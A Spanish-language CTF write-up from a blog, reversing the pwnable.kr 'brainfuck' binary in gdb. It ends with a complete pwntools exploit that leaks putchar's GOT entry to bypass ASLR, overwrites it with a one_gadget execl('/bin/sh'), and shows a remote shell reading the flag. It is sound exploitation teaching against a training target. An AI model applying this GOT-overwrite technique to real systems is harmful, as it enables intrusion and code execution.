History view
Pwning in Linux
Brainfuck - GOT Dereferencing / Overwriting, ASLR/NX Bypass
theFaunia in the wild 2019. 2. 28. 17:56Brainfuck
Date: 08/01/2019-09/01/2019 @naivenom4.1 Reconocimiento
gef➤ checksec
[+] checksec for '/home/binary/pwnable.kr/brainfuck/bf'
Canary : Yes
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
Canary and NX (No shellcode)
4.2 Deep Reversing Analysis
Como no puede ser de otra manera vamos solo a centrarnos en realizar reversing instrucción por instrucción y tomar notas de que es lo que esta sucediendo. Empezamos por la función main().0x8048685 mov eax, gs:0x14
0x804868b mov DWORD PTR [esp+0x42c], eax
Aquí en este conjunto de instrucciones observamos como se implementa el Canary y se guarda en el Stack, mas concretamente en esp+0x42c.
Es un valor random así que para esta primera vez que estamos reverseando el valor del registro->$eax : 0x306f7c00
gef➤ x/x $esp+0x42c
0xffffd4cc: 0x306f7c00
0x8048692 xor eax, eax
0x8048694 mov eax, ds:0x804a060
Aquí vemos que xorea eax poniéndolo a cero.
gef➤ x/x 0x804a060
0x804a060 : 0xf7fb7d60
0x8048699 mov DWORD PTR [esp+0xc], 0x0
0x80486a1 mov DWORD PTR [esp+0x8], 0x2
0x80486a9 mov DWORD PTR [esp+0x4], 0x0
0x80486b1 mov DWORD PTR [esp], eax
0x80486b4 call 0x80484b0
Seguidamente vemos como se le pasan una serie de argumentos a la llamada a setvbuf().
Esta función recibe estos argumentos->int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
Recibe 4 argumentos en el cual quedaría de la siguiente forma->setvbuf(0xf7fb7d60,0x0,0x2,0x0).
El primero es la dirección de memoria de stdout, el segundo es el buffer.
El tercero al ser 0x2 corresponde a:
_IOLBF
Line buffering − On output, data is written when a newline character is inserted into the stream or when the buffer is full, what so ever happens first. On Input, the buffer is filled till the next newline character when an input operation is requested and buffer is empty.
Y el cuarto corresponde al size en bytes.
0x80486b9 mov eax, ds:0x804a040
0x80486be mov DWORD PTR [esp+0xc], 0x0
0x80486c6 mov DWORD PTR [esp+0x8], 0x1
0x80486ce mov DWORD PTR [esp+0x4], 0x0
0x80486d6 mov DWORD PTR [esp], eax
0x80486d9 call 0x80484b0
Ahora misma película solo que ahora es stdin,
gef➤ x/i 0x804a040
0x804a040 : mov al,ds:0xf7fb75
gef➤ x/x 0x804a040
0x804a040 : 0xf7fb75a0
El tercero ahora es 0x1 por lo tanto corresponde a:
_IOFBF
Full buffering − On output, data is written once the buffer is full. On Input the buffer is filled when an input operation is requested and the buffer is empty.
0x80486de mov DWORD PTR ds:0x804a080, 0x804a0a0
gef➤ x/x 0x804a0a0
0x804a0a0 : 0x00000000
gef➤ x/i 0x804a0a0
0x804a0a0 : add BYTE PTR [eax],al
Mueve ese contenido a ds:0x804a080,
gef➤ x/x 0x804a080 0x804a080
: 0x0804a0a0
0x80486e8 mov DWORD PTR [esp], 0x804890c
0x80486ef call 0x8048470
Mueve a esp esa dirección,
gef➤ x/x 0x804890c
0x804890c: 0x636c6577
gef➤ x/i 0x804890c
0x804890c: ja 0x8048973
gef➤ x/i 0x8048973
0x8048973: add BYTE PTR [esp+edi*8-0x1],bh
$esp : 0xffffd0a0 → 0x0804890c → "welcome to brainfuck testing system!!"
No deja de ser una strings para que se visualice con puts()
0x80486f4 mov DWORD PTR [esp], 0x8048934
0x80486fb call 0x8048470
Mismo que lo anterior->$esp : 0xffffd0a0 → 0x08048934 → "type some brainfuck instructions except [ ]"
0x8048700 mov DWORD PTR [esp+0x8], 0x400
0x8048708 mov DWORD PTR [esp+0x4], 0x0
0x8048710 lea eax, [esp+0x2c]
0x8048714 mov DWORD PTR [esp], eax
0x8048717 call 0x80484c0
memset tiene esta forma en C->void *memset(void *str, int c, size_t n)
Se le pasa tres argumentos:
str − This is a pointer to the block of memory to fill.
c − This is the value to be set. The value is passed as an int, but the function fills the block of memory using the unsigned char conversion of this value.
n − This is the number of bytes to be set to the value.
Por lo tanto tenemos esto->memset(eax,0x0,0x400). Donde eax veremos ahora que es.
$eax : 0xffffd0cc → 0x00000004
gef➤ x/20xw $esp
0xffffd0a0: 0xffffd0cc 0x00000000 0x00000400 0x00000000
0xffffd0b0: 0x00000004 0x00000007 0x001af23c 0xffffd574
0xffffd0c0: 0x001b023c 0x00000008 0x00000048 0x00000004
0xffffd0d0: 0x00000004 0x6474e550 0x0016508c 0x0016508c
0xffffd0e0: 0x0016508c 0x0000619c 0x0000619c 0x00000004
0x804871c mov eax, ds:0x804a040
0x8048721 mov DWORD PTR [esp+0x8], eax
0x8048725 mov DWORD PTR [esp+0x4], 0x400
0x804872d lea eax, [esp+0x2c]
0x8048731 mov DWORD PTR [esp], eax
0x8048734 call 0x8048450
Y ahora se le pasa el size del buffer y el puntero donde tiene que fillear el contenido que introducimos ahora con fgets(). Esta función es segura por lo tanto no podremos hacer un overflow como paso en el anterior reto con gets().
Introducimos como no puede ser de otra manera AAAA. je je je.
Si os dais cuenta el puntero en el stack donde teníamos que fillear con nuestro input coincide con el que vimos en el memset->$eax : 0xffffd0cc → "AAAA"
0x8048741 jmp 0x8048760
En esta instrucción hay un salto a esta parte del código,
0x08048760 <+239>: mov ebx,DWORD PTR [esp+0x28]
0x08048764 <+243>: lea eax,[esp+0x2c]
0x08048768 <+247>: mov DWORD PTR [esp],eax
0x0804876b <+250>: call 0x8048490
0x08048770 <+255>: cmp ebx,eax
0x08048772 <+257>: jb 0x8048743
En resumen en esas instrucciones se pasa el input introducido como argumento del strlen para saber la longitud y lo compara con el registro ebx, este registro contiene->0x0,
gef➤ x/20xw $esp+0x28
0xffffd0c8: 0x00000000 0x41414141 0x0000000a 0x00000000
0xffffd0d8: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd0e8: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd0f8: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd108: 0x00000000 0x00000000 0x00000000 0x00000000
gef➤ x/20xw $esp+0x2c
0xffffd0cc: 0x41414141 0x0000000a 0x00000000 0x00000000
0xffffd0dc: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd0ec: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd0fc: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd10c: 0x00000000 0x00000000 0x00000000 0x00000000
Es decir, compara la longitud de nuestro input con 0x0.
$eax : 0x5
$ebx : 0x0
Es 0x5 por el enter o salto de linea 0xa se considera un carácter.
0x8048772 jb 0x8048743
En esta instrucción salta si es menor ebx ya que es 0x0, por lo tanto, podríamos deducir que podría ser un contador.
Ahora vuelve hacia atrás en el código, veamos instrucción a instrucción.
0x8048743 lea edx, [esp+0x2c]
Se le pasa al registro edx la dirección de memoria del Stack que contiene nuestro input->
$edx : 0xffffd0cc → "AAAA"
0x8048747 mov eax, DWORD PTR [esp+0x28]
gef➤ x/20xw $esp+0x28
0xffffd0c8: 0x00000000 0x41414141 0x0000000a 0x00000000
Se le pasa al registro eax el valor de->$eax : 0x0
0x804874b add eax, edx
Se le suma con el contenido de eax y se queda en eax, como es 0x0 no se le suma nada de valor a la dirección del stack, por lo tanto por lógica va a iterar con el primer valor. Así que ya sabemos lo que es el 0x0, es un contador para ir iterando uno a uno de nuestro input de entrada (que es lo que controlamos nosotros como exploiters). $eax : 0xffffd0cc → "AAAA"
0x804874d movzx eax, BYTE PTR [eax]
Ahora mueve el primer byte a->
$eax : 0x41 (A)
0x8048753 mov DWORD PTR [esp], eax
Ahora mueve al Stack dicho valor que se le pasara como argumento a la siguiente función do_brainfuck().
Bien en este punto hemos podido ver en la función main() como se setea un buffer y se llama a fgets() para recibir por stdin nuestro input. También vemos que hay un bucle ya que va iterando byte a byte de nuestro input llamando a una función que aun desconocemos.
0x80485e3 mov eax, DWORD PTR [ebp+0x8]
Se le pasa al registro eax el valor de 0x41.
0x80485e6 mov BYTE PTR [ebp-0xc], al
Se pasa al stack el valor de 0x41,
gef➤ x/20xw $ebp-0xc
0xffffd08c: 0xf7e83441 0xffffd0cc 0x00000000 0xffffd4d8
0x80485e9 movsx eax, BYTE PTR [ebp-0xc]
Se vuelve a pasar ese valor a eax del stack->$eax : 0x41
0x80485ed sub eax, 0x2b
Ahora se le resta 0x2b y se queda en eax->$eax : 0x16
0x80485f0 cmp eax, 0x30
Y ahora se compara con 0x30, por lo tanto como no es igual tendremos que hacer que nuestro carácter sea igual a 0x30 con su correspondiente resta.
x-0x2b=0x30; x=5b
Nuestro valor para que la comparacion sea igual a de ser ese.
0x80485f3 ja 0x804866b NOT taken [Reason: !(!C && !Z)]
En nuestro caso del 0x41 no salta. Si os dais cuenta si salta se va al final de la función por lo tanto ese no es el objetivo, así que digamos que lo que hace es controlar que lo que se introduce corresponde hasta 0x5b o en ascii "[".
0x80485f5 mov eax, DWORD PTR [eax*4+0x8048848]
0x80485fc jmp eax
Esta parte es muy interesante ya que tenemos que eax=0x16 que se multiplicara por 4 y sumara esa dirección, según el resultado se mueve al registro eax y seguidamente saltara a esa localización con jmp eax,
gef➤ x/x $eax*4+0x8048848
0x80488a0: 0x0804866b
gef➤ x/x 0x0804866b
0x804866b : 0x5b24c483
gef➤ x/i 0x0804866b
0x804866b : add esp,0x24
Curiosamente también quiere salirse de la función jeje. Analizamos la memoria y vemos que siempre esta esa dirección de memoria de .text,
gef➤ x/20x $eax*4+0x8048848
0x80488a0: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
0x80488b0: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
0x80488c0: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
0x80488d0: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
0x80488e0: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
Vamos mas en profundidad y vemos el rango donde podemos iteractuar con nuestro input para conseguir lo deseado,
gef➤ x/200x $eax*4+0x8048848-0x70
0x8048830: 0x6e61205b 0x205d2064 0x20746f6e 0x70707573
0x8048840: 0x6574726f 0x00002e64 0x0804861c 0x0804864f
0x8048850: 0x0804862b 0x0804863a 0x0804866b 0x0804866b
0x8048860: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
0x8048870: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
0x8048880: 0x0804866b 0x0804866b 0x0804866b 0x0804860d
0x8048890: 0x0804866b 0x080485fe 0x0804866b 0x0804866b
0x80488a0: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
0x80488b0: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
0x80488c0: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
0x80488d0: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
0x80488e0: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
0x80488f0: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
0x8048900: 0x0804866b 0x0804866b 0x0804865e
Vemos que la dirección 0x0804866b no nos vale. Empezamos con la ultima,
0x0804865e -> Esta dirección corresponde a,
gef➤ x/x 0x0804865e
0x804865e : 0x302404c7
Mirando el desensamblado esa instrucción es,
gef➤ x/i 0x0804865e
0x804865e : mov DWORD PTR [esp],0x8048830
Corresponde a estas instrucciones y es simplemente el puts, no nos vale aun así vamos hacer una prueba,
0x0804865e <+130>: mov DWORD PTR [esp],0x8048830
0x08048665 <+137>: call 0x8048470
0x0804866a <+142>: nop
0x0804866b <+143>: add esp,0x24
0x0804866e <+146>: pop ebx
0x0804866f <+147>: pop ebp
0x08048670 <+148>: ret
Si ponemos una "Z", casi llegamos
gef➤ x/20xw $eax*4+0x8048848
0x8048904: 0x0804866b 0x0804865e 0x636c6577 0x20656d6f
Si ponemos un corchete llegamos a los esperado :)
gef➤ x/20xw $eax*4+0x8048848
0x8048908: 0x0804865e 0x636c6577 0x20656d6f 0x62206f74
0x8048918: 0x6e696172 0x6b637566 0x73657420 0x676e6974
Vamos a ver como va a saltar antes de ese puts() que dijimos.
Y vemos el argumento que se le pasa a puts() y nos dice que esto,
gef➤ x/s 0x8048830
0x8048830: "[ and ] not supported."
Lógico el programa ya nos avisaba que esos dos caracteres no estaban soportados en nuestro interprete de brainfuck.
Quizás sea una corazonada pero justo antes de ese corchete los valores en memoria corresponde a todas las mayúsculas, quizás si ponemos "z" en minúsculas corresponda a 0x080485fe pero todos sabemos que esos caracteres en hexadecimal son mayores asi que no. Tendremos que pones los caracteres antes de las mayúsculas e imprimibles a ver. Es valor antes de 0x41 corresponde a->@
Ahora analizamos 0x080485fe, para ello pondremos de prueba el carácter "@".
gef➤ x/20xw $eax*4+0x8048848
0x804889c: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
Nop...Vamos a probar dos caracteres anteriores->0x3e que corresponde a ">".
gef➤ x/20xw $eax*4+0x8048848
0x8048894: 0x080485fe 0x0804866b 0x0804866b 0x0804866b
0x80488a4: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
Efectivamente corresponde a la dirección que buscábamos :).
Vamos a seguir debuggeando a ver que encontramos,
0x80485fe mov eax, ds:0x804a080
0x8048603 add eax, 0x1
0x8048606 mov ds:0x804a080, eax
0x804860b jmp 0x804866b
Resulta ser la siguiente instrucción al salto...así que no ha saltado mucho jaja. Bueno veamos que le pasa al registro eax.
$eax : 0x0804a0a0 → 0x00000000
Es cero.
Luego le suma uno que también es cero->$eax : 0x0804a0a1 → 0x00000000
Vemos que es 0x0804a0a1,
gef➤ x/20wx 0x0804a0a1-0x50
0x804a051: 0x00000000 0x00000000 0x00000000 0x60000000
0x804a061 : 0x00f7fb7d 0x00000000 0x00000000 0x00000000
0x804a071: 0x00000000 0x00000000 0x00000000 0xa0000000
0x804a081 : 0x000804a0 0x00000000 0x00000000 0x00000000
0x804a091: 0x00000000 0x00000000 0x00000000 0x00000000
Vaya resulta que ahí hay una dirección correspondiente a stdout glibc...pero ni idea aun la verdad, sigamos.
Para lo siguiente solo serian dos caracteres menos para alcanzar 0x0804860d. Si consultamos la tabla ascii corresponde a->0x3c que es "<".
Probemos,
gef➤ x/20xw $eax*4+0x8048848
0x804888c: 0x0804860d 0x0804866b 0x080485fe 0x0804866b
0x804889c: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
Vemos que estabamos en lo cierto y vamos a debuggear para ver que sucede.
0x804860d mov eax, ds:0x804a080
0x8048612 sub eax, 0x1
0x8048615 mov ds:0x804a080, eax
0x804861a jmp 0x804866b
Vemos que mueve a eax->$eax : 0x0804a0a0 → 0x00000000
Mueve lo mismo pero ahora le resta 0x1,
gef➤ x/20xw 0x0804a09f
0x804a09f: 0x00000000 0x00000000 0x00000000 0x00000000
Bueno sigamos investigando y ahora para este valor->0x0804863a.
Si vemos el desplazamiento en numero son->13 valores menos en ascii eso corresponde a->0x2f o "/".
Vamos a probar a ejecutar con el nuevo carácter "/",
gef➤ x/20xw $eax*4+0x8048848
0x8048858: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
0x8048868: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
Nop probemos dos menos->0x2d o "-". Si os dais cuenta esos caracteres corresponden a los valores de un interprete brainfuck jeje.
Probamos ahora "-".
gef➤ x/20xw $eax*4+0x8048848
0x8048850: 0x0804862b 0x0804863a 0x0804866b 0x0804866b
Vaya me pasao jajajaj. El siguiente entonces (buena esa).
Es el carácter->0x2e o ".".
gef➤ x/20xw $eax*4+0x8048848
0x8048854: 0x0804863a 0x0804866b 0x0804866b 0x0804866b
0x8048864: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
Lo debuggeamos y vemos que sucede,
0x804863a mov eax, ds:0x804a080
0x804863f movzx eax, BYTE PTR [eax]
0x8048642 movsx eax, al
0x8048645 mov DWORD PTR [esp], eax
0x8048648 call 0x80484d0
Vemos que ahora lo que hace es un putchar osea mostrara por salida estándar un valor.
Es el mismo valor de siempre->$eax : 0x0804a0a0 → 0x00000000
Por lo tanto imprimirá 0x0, probamos iteractuando con la aplicación:
binary@ubuntu:~/pwnable.kr/brainfuck$ ./bf
welcome to brainfuck testing system!!
type some brainfuck instructions except [ ]
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<------.
Violación de segmento (`core' generado)
Parece que no le ha gustado a la aplicación pasarle eso jeje.
Podemos deducir que quizás si metemos mas caracteres va haciendo "algo", que aun no sabemos. Pero primero vamos a analizar todos los caracteres validos.
Nos ponemos con "-",
gef➤ x/20xw $eax*4+0x8048848
0x8048850: 0x0804862b 0x0804863a 0x0804866b 0x0804866b
0x8048860: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
Debuggeamos,
El registro eax es->$eax : 0x0804a0a0 → 0x00000000
0x8048630 movzx edx, BYTE PTR [eax]
En esta instrucción mueve su contenido a diferencia del otro que vimos, es decir, "<". Por lo tanto "-" es contenido y "<" es puntero o dirección...edx vale->0x0
0x8048633 sub edx, 0x1
Y en esta instrucción le resta 0x1 y da->$edx : 0xffffffff
0x8048636 mov BYTE PTR [eax], dl
En esta instrucción se le mueve al registro eax que era una dirección->$eax : 0x0804a0a0 → 0x000000ff
Y si ahora analizamos esa dirección contiene un valor jeje,
gef➤ x/20wx 0x0804a0a0
0x804a0a0 : 0x000000ff 0x00000000 0x00000000 0x00000000
Seguimos analizando nuestra aplicación para 0x0804864f,
Probamos 0x2c o ",".
gef➤ x/20xw $eax*4+0x8048848
0x804884c: 0x0804864f 0x0804862b 0x0804863a 0x0804866b
Debuggeamos,
0x804864f mov ebx, DWORD PTR ds:0x804a080
0x8048655 call 0x8048440
0x804865a mov BYTE PTR [ebx], al
Es getchar() se le pasa la dirección de memoria vista anteriormente;
gef➤ x/20xw 0x804a080
0x804a080 p: 0x0804a0a0 0x00000000 0x00000000 0x00000000
Ya que se le pasa al registro->$ebx : 0x0804a0a0 → 0x00000000
Y ahora nos pedirá a nosotros como usuarios un input le pasamos "q" (puse esto porque me quería salir de GDB xDDD)
El valor de retorno estará en el registro eax->0x71 (q)0x804865a mov BYTE PTR [ebx], al
Y en esta instrucción se moverá a ebx, es decir, se moverá a nuestra dirección de memoria, $ebx : 0x0804a0a0 → 0x00000071 ("q"?)
Y ya por ultimo, el ultimo que nos queda por analizar de nuestro interprete brainfuck->"+".
gef➤ x/20xw $eax*4+0x8048848
0x8048848: 0x0804861c 0x0804864f 0x0804862b 0x0804863a
0x8048858: 0x0804866b 0x0804866b 0x0804866b 0x0804866b
Debuggeamos,
0x804861c mov eax, ds:0x804a080
0x8048621 movzx edx, BYTE PTR [eax]
0x8048624 add edx, 0x1
0x8048627 mov BYTE PTR [eax], dl
0x8048629 jmp 0x804866b
Y es igual que el ">", pero en vez de puntero es contenido y se suma.
$eax : 0x0804a0a0 → 0x00000001
gef➤ x/20xw 0x0804a0a0
0x804a0a0 : 0x00000001 0x00000000 0x00000000 0x00000000
No vemos un 0xff de la vez pasada con "-", sino un 0x1.
Seguidamente vamos con el testeo, si le introducimos a la aplicacion esto:<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-Violación de segmento (`core' generado) Genera un segmentation fault. Vamos a debuggearlo a ver que sucede pero para no estar debuggeando constantemente este carácter "<" habra que setear bien el breakpoint justo en el caracter "-".
0x804862b mov eax, ds:0x804a080
Cuando ejecutamos esa instrucción en eax tenemos->
$eax : 0x08049fff → 0x049f1400
Un valor muy diferente a lo que obtuvimos anteriormente->0x0804a0a0 → 0x00000000
0x8048630 movzx edx, BYTE PTR [eax]
Mueve un byte osea la parte baja
0x0->$edx : 0x0
Y se lo resta seguidamente->$edx : 0xffffffff
0x8048636 mov BYTE PTR [eax], dl
Y al moverlo a eax genera un segmentation fault
gef➤ ni
Program received signal SIGSEGV, Segmentation fault.
4.3 Explotacion
El buffer necesario para la explotacion y debugging que necesite fue este:payload = "."+"<"*112+"."+">"+"."+">"+"."+">"+"."+">"+"<"+","+"<"+","+"<"+","+"<"+","+">>>>."+"\x0a"+"\x04\x05\xdf\xdf" print payload
Idea de exploit:
Usamos one_gadget para saber la dirección de memoria de exec en bf_libc.so. Una vez lo sabemos deberemos sobrescribir la entrada de GOT de putchar. Como sabemos la entrada de GOT de putchar debido al trigger que hacemos con putchar, sabemos siempre la dirección de la GOT y bypass del ASLR. Al saber la dirección de la GOT de putchar y también sabemos la dirección de putchar en bf_libc.so podemos saber la dirección base de bf_libc.so con una simple resta ya que sabemos que con el ASLR esta randomrizada. Finalmente sabiendo esto y como sabemos la dirección de execl sumamos a la direccion base esta dirección y ya sabremos cual es la dirección en ejecución de execl y asi conseguiremos una shell. Segun el gadget EAX debe ser NULL por lo tanto deberemos hacer antes de triggear de nuevo putchar con la nueva entrada de GOT, dejar el registro EAX a 0x0.binary@ubuntu:~/pwnable.kr/brainfuck$ one_gadget bf_libc.so
0x3ac5c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL
0x3ac5e execve("/bin/sh", esp+0x2c, environ)
constraints:
esi is the GOT address of libc
[esp+0x2c] == NULL
0x3ac62 execve("/bin/sh", esp+0x30, environ)
constraints:
esi is the GOT address of libc
[esp+0x30] == NULL
0x3ac69 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x5fbc5 execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x5fbc6 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
Exploit:
from pwn import * context.log_level = 'debug' p = remote("pwnable.kr",9001) #p = process('./bf') p.recvuntil("type some brainfuck instructions except [ ]\n") #gdb.attach(p,''' #break *0x0804864f #continue #''') payload = "."+"<"*112+"."+">"+"."+">"+"."+">"+"."+">" #Leak putchar GOT entry payload += "<"+","+"<"+","+"<"+","+"<"+"," #write one_gadget to execv payload += ">>>>." #Set EAX == Null and trigger putchar with new GOT entry p.sendline(payload) print p.recvn(1) leak_putchar = p.recvn(4) print repr(leak_putchar) leaked_putchar = u32(leak_putchar) print hex(leaked_putchar) putchar_offset_libc = 0x00061920 exec_libc = 0x5fbc5 libc_base = leaked_putchar-putchar_offset_libc one_gadget = libc_base+exec_libc p.sendline(p32(one_gadget, endian='big')) p.interactive()
4.4 Explotacion remoto
binary@ubuntu:~/pwnable.kr/brainfuck$ python exploit.py
[+] Opening connection to pwnable.kr on port 9001: Done
[DEBUG] Received 0x25 bytes:
'welcome to brainfuck testing system!!'
[DEBUG] Received 0x2d bytes:
'\n'
'type some brainfuck instructions except [ ]\n'
[DEBUG] Sent 0x87 bytes:
'.<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<.>.>.>.><,<,<,<,>>>>.\n'
[DEBUG] Received 0x1 bytes:
00000000 00 │·│
00000001
\x00
[DEBUG] Received 0x4 bytes:
00000000 20 99 58 f7 │ ·X·││
00000004
' \x99X\xf7'
0xf7589920
[DEBUG] Sent 0x5 bytes:
00000000 f7 58 7b c5 0a │·X{·│·│
00000005
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
'id\n'
[DEBUG] Received 0x3f bytes:
'uid=1035(brainfuck) gid=1035(brainfuck) groups=1035(brainfuck)\n'
uid=1035(brainfuck) gid=1035(brainfuck) groups=1035(brainfuck)
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x29 bytes:
'brainfuck\n'
'flag\n'
'libc-2.23.so\n'
'log\n'
'super.pl\n'
brainfuck
flag
libc-2.23.so
log
super.pl
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x23 bytes:
'xxxxxxxxxxxxxxxxxxxxxxxxxx\n'
xxxxxxxxxxxxxxxxxxxxxxxxxx
$
'Pwning in Linux' 카테고리의 다른 글
Exploit - GrownUp pwnable.xyz (0) | 2019.03.01 |
---|---|
Trigger return NULL value in Malloc (0) | 2019.02.28 |
Basics Return-oriented programming (0) | 2019.02.28 |
Unlink (0) | 2019.02.28 |
ASM - Making your Own ASM Shellcode for open/read/write remote file on server (0) | 2019.02.28 |
Comments
Notice
Recent Posts
Recent Comments
- Total
- Today
- Yesterday
Link
TAG
- x64dbg
- write primitive
- Windows
- buffer overflow
- Backdoors
- XSS
- hijacking redirection flow
- ASM
- use after free
- pwnable.xyz
- GOT Dereferencing/Overwriting
- theFaunia course
- open-redirect
- Call oriented programming
- Pwnable.kr
- fake stack frame
- leak libc
- 32Bit
- html injection
- pwnable.tw
- cracking
- stack pivot
- shellcode
- arithmetic overflow/underflow
- one gadget
- canary
- dnspy
- format string
- return oriented programming
- leak stack memory address
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Archives